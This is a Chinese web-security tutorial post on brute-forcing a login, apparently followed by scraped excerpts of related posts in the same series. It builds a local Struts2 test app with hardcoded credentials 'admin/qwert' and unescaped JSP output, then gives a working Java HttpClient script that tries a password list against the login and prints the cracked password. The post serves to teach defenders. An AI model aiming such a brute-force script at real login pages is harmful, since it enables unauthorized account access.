看好你的门-验证机制被攻击(2)-JAVA蛮力攻击登陆

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。

1、 简单说明

攻城的时候,城门总是最容易被攻破的地方。

而登陆功能的公开性,让无数的攻击者都试图猜测用户名和密码,从而获得未授权访问系统的权利。

这种攻击几乎无处不在,有系统的攻击,也有无聊人士的攻击,设置一些搞错了用户名用户的无聊尝试。

2、 前提和准备

我们首先需要有一个弱密码的系统,这样才可以去尝试蛮力攻击。

不要用这种方法去攻击第三方的应用,这是不道德和不友好的行为。分享这种方法,主要是因为这种攻击过于普遍,如果系统所有者和开发者不重视这个问题,很有可能辛辛苦苦做的系统,别人攻破。

3、 准备用的系统的登陆页面

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>阿饭同学的测试</title>
</head>
<body>
    <form action="aEasyLogin.action" method="post" name="form1">
        <table width="392" border="1">
            <tr>
                <td height="35"><br>
                    <div align="center">
                        <p>用户名:<input type="text" name="username" size=16 ></p>
                        <p>密码: <input type="password" name="password" size=16 > </p>
                    </div></td>
            </tr>
            <tr align="center">
                <td colspan="2" bgcolor="#FFCCFF"><input type="submit"
                    value="登陆" /></td>
            </tr>
        </table>
    </form>
</body>
</html>

4、 模拟登陆验证的JAVA代码

package com.safe;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.lang.xwork.StringUtils;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;

public class EasyLoginAction extends ActionSupport {
    private static final long serialVersionUID = 1931829246016041219L;

    public String execute() throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        request.setAttribute("username", username);
        // 用户名和密码如果有一个为空,返回失败
        if (StringUtils.isBlank(username) || StringUtils.isBlank(password)) {
            return "false";
        }
        //简单假设一个用户名和密码:admin,密码:qwert
        if(username.equals("admin") && password.equals("qwert")){
            return "success";
        }else{
            return "false";
        }
    }
}

5、 登陆成功的jsp页面

<%@ page language="java" import="java.util.*,javax.servlet.http.*" pageEncoding="UTF-8"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>看好你的门 - 阿饭同学</title>
  </head>
  <body>
    登陆成功,欢迎来自<%=(String)request.getRemoteAddr()%> 的:<%=(String)request.getAttribute("username")%>
  </body>
</html>

6、 登陆不成功的页面

<%@ page language="java" import="java.util.*,javax.servlet.http.*" pageEncoding="UTF-8"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>看好你的门 - 阿饭同学 </title>
  </head>
  <body>
    <%=(String)request.getAttribute("username")%> , 登陆不成功,请检查您的密码。
  </body>
</html>

7、 JAVA蛮力攻击登陆的代码


package com.safe;

import java.util.ArrayList;
import java.util.List;

import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
/**
 * 用httpClient 模拟暴力攻击登陆,仅供用于WEB安全防范示例。
 *
 * @author 范芳铭
 */
public class EasyAttackLogin {
    //常用密码列表,仅用于示例
    static String[] passwords = {"123","qwert"};

    //已经获取了用户名,假设这个信息我们已经知道
    static String username = "admin";

    public static void main(String[] args) throws Exception {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        try {
            //模拟用户登录
            HttpPost httpPost = new HttpPost("http://127.0.0.1:8080/webStudy/aEasyLogin.action");
            EasyAttackLogin attack = new EasyAttackLogin();
            for(int i = 0 ; i < passwords.length ;i++){
                attack.getLogin(httpclient,httpPost,passwords[i]);
            }
        } finally {
            httpclient.close();
        }
    }

    public boolean getLogin(CloseableHttpClient httpclient,HttpPost httpPost,String pass) throws Exception{
        boolean flag = false;
        List <NameValuePair> nvps = new ArrayList <NameValuePair>();
        nvps.add(new BasicNameValuePair("username", username));//用户名对应的key
        nvps.add(new BasicNameValuePair("password", pass));//密码对应的key
        httpPost.setEntity(new UrlEncodedFormEntity(nvps));
        CloseableHttpResponse response = httpclient.execute(httpPost);

        try {
            System.out.println(response.getStatusLine());
            HttpEntity entity = response.getEntity();
            String content = EntityUtils.toString(entity);
            //登陆成功的页面有这个关键词,需要观察后得出
            if (content.indexOf("登陆成功") > 0 ){
                System.out.println("密码暴力破解成功,用户admin的密码为:" + pass);
                flag = true;
            }
            EntityUtils.consume(entity);
        } finally {
            response.close();
        }
        return flag;
    }

}

运行结果

HTTP/1.1 200 OK

HTTP/1.1 200 OK

密码暴力破解成功,用户admin的密码为:qwert

8、 无处不在的安全隐患

1、 在所有的可能性中,密码被攻击,是最常见的行为;

2、 现代的PC的硬件和网络条件,让暴力攻击登陆成为一件很稀松平常的事情;

3、 不要尝试去攻击别人,这很不友好。

时间: 2024-10-14 04:04:38

看好你的门-验证机制被攻击(2)-JAVA蛮力攻击登陆的相关文章

看好你的门-验证机制被攻击(1)-保密性不强的密码

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 攻城的时候,城门总是最容易被攻破的地方. 如果一个WEB系统不够安全,往往是从登陆上面就出现了问题. 许许多多的web应用没有或者很少对用户密码的强度进行控制,这样的话,很容易被人在这里找到漏洞: 2. 常见保密性不强的密码 非常短甚至空白的密码: 密码和用户名完全相同: 初始的默认密码: 用常用词汇拼音.英语等作为密码: 比如: 123 123456 网站名称 qwert

看好你的门-验证机制被攻击(4)-密码修改、重置功能常见漏洞

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 互联网中,有用户注册的地方,基本就会有密码找回的功能. 密码找回功能一般不太被重视,往往是一个附属功能,简直就是一个天生的大坑,而且在越来越重视用户友好体验的今天,支持各种密码重置的功能层出不穷,功能越多,被攻击面也越多. 而密码找回功能里可能存在的漏洞,很多系统的所有者.架构师.开发人员.测试都没有想到. 而这些漏洞往往可能产生非常大的危害,如用户账号被盗等. 浆糊传说:这

看好你的门-验证机制被攻击(5)-“记住我”功能的常见漏洞

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 当我们登陆某个网站时,在登陆的旁边会有一个"记住我" 的复选框,这个登陆时的用户名和密码 就是一种状态,这个记住我是怎么实现的呢?其实就用利用的是cookie,当我们选择了"记住我"以后,浏览器会将用户名保存在浏览器的cookie中,我们下次登陆的时候,就会自动的去找cookie了. 浆糊传说:这种漏洞在非常多的大互联网公司中都出现过.不经历过惨

看好你的门-验证机制被攻击(6)-用户角色变更系统漏洞

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 用户角色变更的应用,在一般的纯互联网应用中,是非常少见的.但是在一些其他的行业,比如我所熟悉的语音行业,就是非常常见的. 我们在电视里也经常看到,某某金融大鳄给经纪人打电话,这个股票,给我买入1000万:那个股票,马上现价抛出. 在这个时候,接听电话的经纪人就和金融大鳄的角色进行了变更. 2. 常见的"角色变更"的漏洞 如果我们要把自己打扮成金融大鳄,我们需要获取很

看好你的门-验证机制被攻击(3)-智能化的蛮力攻击登陆

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 登陆功能的公开性,让无数的攻击者都试图猜测用户名和密码,从而获得未授权访问系统的权利. 作为系统的使用者,必须让自己的系统更加健壮,以应对狡猾的攻击者. 作为攻击者,需要去观察系统的各种细节情况,获得贴近实际的信息. 2. 智能化的蛮力攻击登陆步骤 我们首先需要有一个弱密码的系统,这样才可以去尝试蛮力攻击. 1. 用自己的某个合法账号进行尝试:比如提交几次错误的登陆,看收到什

看好你的门-验证机制被攻击(7)-可预测的用户名和密码

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 简单说明 一些应用程序根据某种顺序自动生成帐户名,当然,现在邮箱.手机.QQ号码成为用户名的可能性越来越高,攻击者们也越来越省事了: 一些应用程序在大批量创建用户之后,并自动指定初始密码,然后通过某种方式(邮件.短信)将密码分配给用户. 2. 常见的可预测用户名和密码的漏洞 用户名和密码都能够预测了,理所当然的,这里的漏洞就很大的. 可预测的初始化密码,让攻击者能够预测其他应用程序用户

看好你的门-客户端传数据-用java修改referer

1.简单说明 Referer.origin用来表明,浏览器向WEB服务器表明自己来自哪里.但是就它本身而言,并非完全安全. 写一个例子,可以任意修改http信息头中的referer.origin 2.准备: 用httpClient4.0来具体实现 3.Java修改http信息头referer.origin的源代码 代码非常简单,就是修改了http头的referer.origin. 配套示例的jsp在:http://blog.csdn.net/ffm83/article/details/44095

看好你的门-确保验证机制的安全(5)-防止滥用密码修改和密码找回功能

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 前提 执行安全的验证机制,不仅仅要同时满足几个关键安全目标,许多的时候也需要牺牲其他目标.比如易用性.成本.还有功能. 2. 防止滥用密码修改的基本要求 一些基本要求,写下来,以后也可以参考. 1. 加一个简单图片验证码,基本确保是人在操作,而不是机器: 2. 只能从已经通过验证的会话中访问该功能: 3. 不要以任何方式直接提供用户名,也不要使用隐藏表单字段或者cookie提供用户名:

看好你的门-确保验证机制的安全(2)-安全处理敏感信息

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 前提 执行安全的验证机制,不仅仅要同时满足几个关键安全目标,许多的时候也需要牺牲其他目标.比如易用性.成本.还有功能. 我们需要综合考虑下面这些因素: 系统所提供功能的安全程度: 用户对不同类型的验证控制的容忍和接受程度: 支持一个不够友好的界面需要的整体成本(便捷和安全往往是一个事物的两个方向) 系统所保护的信息或者资产的价值. 2. 安全处理敏感信息 一些基本要求,写下来,以后也可